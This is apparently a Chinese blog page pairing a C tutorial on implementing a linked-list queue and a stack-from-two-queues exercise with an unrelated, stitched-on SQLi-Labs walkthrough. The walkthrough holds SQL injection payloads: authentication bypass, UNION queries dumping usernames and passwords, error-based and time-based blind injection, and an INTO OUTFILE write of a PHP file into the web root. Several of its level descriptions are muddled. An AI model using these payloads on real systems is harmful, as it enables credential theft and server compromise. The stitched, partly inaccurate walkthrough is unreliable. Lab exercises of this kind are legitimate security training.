手撕数据结构之队列的实现

1. 队列的概念

一种只能从一端进从另一端出的线性表(类似于商场排队)

 

2.为啥要发明队列

利用队列能更加简洁方便的解决问题

利用队列能解决很多实际问题:例如预约点餐,时间上的公平性,找到共同好友等等

3.队列的具体实现

1.初始化

由于需要有一端计入数据还得有一端寄出数据所以需要定义一个头指针和尾指针

但是在写函数传参的时候需要写两个二重指针,显得接口不太整齐,书写复杂,

于是我们就可以利用一个新的结构体将其装起来一起传输

 2.队尾插入

1.如果头指针与尾指针都为空不要忘记给头指针赋值(否则容易造成野指针)

2.记得在尾指针后插入数据后,把尾指针的位置也往后推进一格

3.有效数size记得加一方便后面实现总长

3.队头删除

记得对特殊情况进行讨论

1.当元素都没有的情况下

2.当只有一个元素,头尾指针在一起时

4.取队尾和队尾数据

5.记录对列中的个数(size)

由于前面每次队尾插入size都递增了所以直接返回size即可

6.判断队列是否为空

7.队列的销毁

4.代码

Queue.h

Queue.c

5.相关经典题

2.用队列实现栈。OJ链接

 #include<stdio.h>

#include<stdlib.h>

#include<stdbool.h>

#include<assert.h>

#include<stdbool.h>

typedef int QDataType;

typedef struct QueueNode

{

    struct QueueNode* next;

    QDataType val;

}QNode;

typedef struct Queue

{

    QNode* phead;

    QNode* ptail;

    int size;

}Queue;

void QueueInit(Queue* pq);

void QueueDestroy(Queue* pq);

// 队尾插入

void QueuePush(Queue* pq, QDataType x);

// 队头删除

void QueuePop(Queue* pq);

// 取队头和队尾的数据

QDataType QueueFront(Queue* pq);

QDataType QueueBack(Queue* pq);

int QueueSize(Queue* pq);

bool QueueEmpty(Queue* pq);

 void QueueInit(Queue* pq)

{

    assert(pq);

    pq->phead = NULL;

    pq->ptail = NULL;

    pq->size = 0;

}

void QueueDestroy(Queue* pq)

{

    assert(pq);

    QNode* cur = pq->phead;

    while (cur)

    {

        QNode* next = cur->next;

        free(cur);

        cur = next;

    }

    pq->phead = pq->ptail = NULL;

    pq->size = 0;

}

// 队尾插入

void QueuePush(Queue* pq, QDataType x)

{

    assert(pq);

    QNode* newnode = (QNode*)malloc(sizeof(QNode));

    if (newnode == NULL)

    {

        perror("malloc fail");

        return;

    }

    newnode->next = NULL;

    newnode->val = x;

    if (pq->ptail == NULL)

    {

        pq->phead = pq->ptail = newnode;

    }

    else

    {

        pq->ptail->next = newnode;

        pq->ptail = newnode;

    }

    pq->size++;

}

// 队头删除

void QueuePop(Queue* pq)

{

    assert(pq);

    assert(pq->size != 0);

    /*QNode* next = pq->phead->next;

    free(pq->phead);

    pq->phead = next;

    if (pq->phead == NULL)

        pq->ptail = NULL;*/

    // 一个节点

    if (pq->phead->next == NULL)

    {

        free(pq->phead);

        pq->phead = pq->ptail = NULL;

    }

    else // 多个节点

    {

        QNode* next = pq->phead->next;

        free(pq->phead);

        pq->phead = next;

    }

    pq->size--;

}

QDataType QueueFront(Queue* pq)

{

    assert(pq);

    assert(pq->phead);

    return pq->phead->val;

}

QDataType QueueBack(Queue* pq)

{

    assert(pq);

    assert(pq->ptail);

    return pq->ptail->val;

}


 

int QueueSize(Queue* pq)

{

    assert(pq);

    return pq->size;

}

bool QueueEmpty(Queue* pq)

{

    assert(pq);

    return pq->size == 0;

}

//题目思路:队列有着先进先出的性质而栈为后进先出,所以需要两个队列,一个队列保持空,另一个吧数据给空队列,

//直到最后留到最后一个数据,然后将其导出就行

typedef struct {

    Queue q1;

    Queue q2;//定义两个空变量

} MyStack;


 

MyStack* myStackCreate() {

    //局部变量不能出函数所以为其开辟一个空间

    MyStack* pst = (MyStack*)malloc(sizeof(MyStack));

    QueueInit(&(pst->q1));

    QueueInit(&(pst->q2));

    return pst;

}

void myStackPush(MyStack* obj, int x) {

     //将x放入有元素的组里,确保另一个队列为空

     if(!QueueEmpty(&(obj->q1)))

     {

        QueuePush(&(obj->q1),x);

     }

     else

     {

        QueuePush(&(obj->q2),x);

     }

}

int myStackPop(MyStack* obj) {

    //将前size项移走,留最后一项然后导出

    //假设法,直接假定一个为空,如果不为空就交换位置

    Queue* empty = &(obj->q1);

    Queue* noEmpty = &(obj->q2);

    if (!QueueEmpty(&(obj->q1)))

    {

         noEmpty = &(obj->q1);

         empty = &(obj->q2);

    }

    while(QueueSize(noEmpty) > 1)//size从零开始所以后面要减一

    {

        QueuePush(empty,QueueFront(noEmpty));

        QueuePop(noEmpty);

    }

    int top = QueueFront(noEmpty);

    QueuePop(noEmpty);

    return top;

}

int myStackTop(MyStack* obj) {

    if(!QueueEmpty(&(obj->q1)))

    {

        return QueueBack(&(obj->q1));

    }

    else

    {

        return QueueBack(&(obj->q2));

    }

}

bool myStackEmpty(MyStack* obj) {//因为QueueEmpty判断方式为0则,有一个不为空就为假

    return QueueEmpty(&(obj->q1)) && QueueEmpty(&(obj->q2));

}

void myStackFree(MyStack* obj) {

    QueueDestroy(&(obj->q1));//不能忘记obj中存储的链表也要释放空间

    QueueDestroy(&(obj->q2));

    free(obj);

}

 

### SQLi-Labs 1-7 关卡解题思路 #### Less-1: 基础 GET 请求注入 在这一关中,目标是在 URL 参数 `id` 中注入 SQL 语句来获取数据库中的信息。通过输入 `' OR '1'='1` 可以绕过身份验证并登录成功[^1]。 ```sql ?id=1' or '1'='1 ``` #### Less-2: 使用 UNION SELECT 注入 此关涉及使用 `UNION SELECT` 来联合查询其他表的内容。为了找到合适的列数,可以逐个增加返回的结果集数量直到页面不再报错为止。一旦确定了正确的列数,则可以通过这些列读取任意表格的信息[^3]。 ```sql ?id=-1 UNION ALL SELECT NULL,NULL FROM information_schema.tables WHERE table_schema=database()# ``` #### Less-3: 报错注入 利用 MySQL 的内置函数如 `extractvalue()` 或者 `updatexml()` 实现基于错误回显的 SQL 注入攻击。这允许直接从服务器响应中提取敏感数据而无需额外请求。 ```sql ?uname=1' AND extractvalue(1,concat(0x7e,(SELECT database())))--+&passwd=1&submit=Submit ``` #### Less-4: 时间盲注 当无法看到具体的错误消息时,可采用时间延迟技术来进行推测性的注入测试。例如,如果存在漏洞则会使查询等待一段时间再继续执行。 ```sql ?id=1' AND IF(SUBSTRING(@@version,1,1)=5,SLEEP(5),NULL)--+ ``` #### Less-5: 基于布尔条件的时间盲注 进一步扩展上一关的概念,在不知道确切版本号的情况下也可以利用布尔表达式的真假判断配合 SLEEP 函数完成注入操作[^2]。 ```sql ?id=1' AND (IF((ASCII(SUBSTRING(version(),1,1)))>50,BENCHMARK(5000000,SHA1('A')),false))--+ ``` #### Less-6: 多参数注入 本关考察如何处理多个输入字段的同时注入问题。通常情况下只需要在一个地方构造恶意负载即可影响整个查询逻辑[^4]。 ```sql ?id=-1' UNION SELECT 1,GROUP_CONCAT(username,0x7E,password) FROM users # ``` #### Less-7: 文件写入与读取 最后一关涉及到更高级别的功能——将查询结果保存成文件并通过 Web 访问路径下载下来查看具体内容。这一步骤可能需要用到 INTO OUTFILE 子句以及 LOAD_FILE() 函数实现本地文件系统的交互。 ```sql ?id=1' union all select null,'<?php phpinfo(); ?>' into outfile '/var/www/html/shell.php'# ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值